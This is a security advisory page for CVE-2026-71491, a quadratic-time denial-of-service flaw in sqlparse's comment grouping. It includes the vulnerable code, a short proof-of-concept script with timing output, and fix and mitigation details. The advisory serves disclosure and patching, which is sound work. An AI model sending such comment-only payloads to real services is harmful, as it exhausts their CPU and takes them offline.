CVE-2026-71491 — sqlparse
Fix: andialbrecht/sqlparse@ef2012aCVE-2026-71491 is a Uncontrolled Resource Consumption vulnerability in sqlparse. A fix is available for sqlparse — see the affected versions and patch details below.
sqlparse: Quadratic O(n²) DoS in group_comments
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-71491.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
sqlparseReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A comment-only statement (-- c\n*n) may cause a Denial of Service (DoS).
Details
Location: sqlparse/engine/grouping.py:331-341 (group_comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip_comments=True).
A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but group_comments is O(n²):
def group_comments(tlist):
tidx, token = tlist.token_next_by(t=T.Comment)
while token:
eidx, end = tlist.token_not_matching(
lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)
...
tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)
The while loop runs n times and each token_next_by / token_not_matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.
Two following factors increase the severity:
group_commentsruns first ingroup()(grouping.py:439), before the_group_matchingtoken-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input.MAX_GROUPING_TOKENSdoes not provide protection on this vector.- It sits on the primary sanitizer path:
format(sql, strip_comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.
PoC
Tested using Python 3.14:
import time, sqlparse
for n in (1000, 2000, 4000):
s = "-- c\n" * n
t = time.perf_counter()
sqlparse.format(s, strip_comments=True)
print(f"n={n:5d} format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms")
Output:
n= 1000 format(strip_comments)= 106.0 ms
n= 2000 format(strip_comments)= 403.3 ms
n= 4000 format(strip_comments)= 1602.8 ms
Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.
Impact
Denial of Service
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | sqlparse | all versions | 0.6.0pip install --upgrade 'sqlparse==0.6.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sqlparse, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update sqlparse to 0.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-71491 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.5 for RHEL 8 | python3.12-sqlparse-0:0.6.0-1.el8ap | RHSA-2026:71114 |
| Red Hat Ansible Automation Platform 2.6 for RHEL 10 | python-sqlparse-0:0.6.0-1.el10ap | RHSA-2026:71113 |
| Red Hat Ansible Automation Platform 2.7 for RHEL 10 | python-sqlparse-0:0.6.0-1.el10ap | RHSA-2026:71112 |
| Red Hat Ansible Automation Platform 2.5 | ansible-automation-platform-25/gateway-rhel8:1789605572 | RHSA-2026:71210 |
| Red Hat Ansible Automation Platform 2.6 | ansible-automation-platform-26/eda-controller-rhel9:1789653608 | RHSA-2026:71179 |
| Red Hat Ansible Automation Platform 2.7 | ansible-automation-platform-27/eda-controller-rhel9:1788917355 | RHSA-2026:67279 |
| Red Hat Ansible Automation Platform 2.7 | ansible-automation-platform-27/hub-rhel9:1789572632 | RHSA-2026:71177 |
| Red Hat Discovery 2 | discovery/discovery-server-rhel9:1788205779 | RHSA-2026:61783 |
Frequently Asked Questions
Is CVE-2026-71491 in your dependencies?
Find it across PyPI, including transitive dependencies.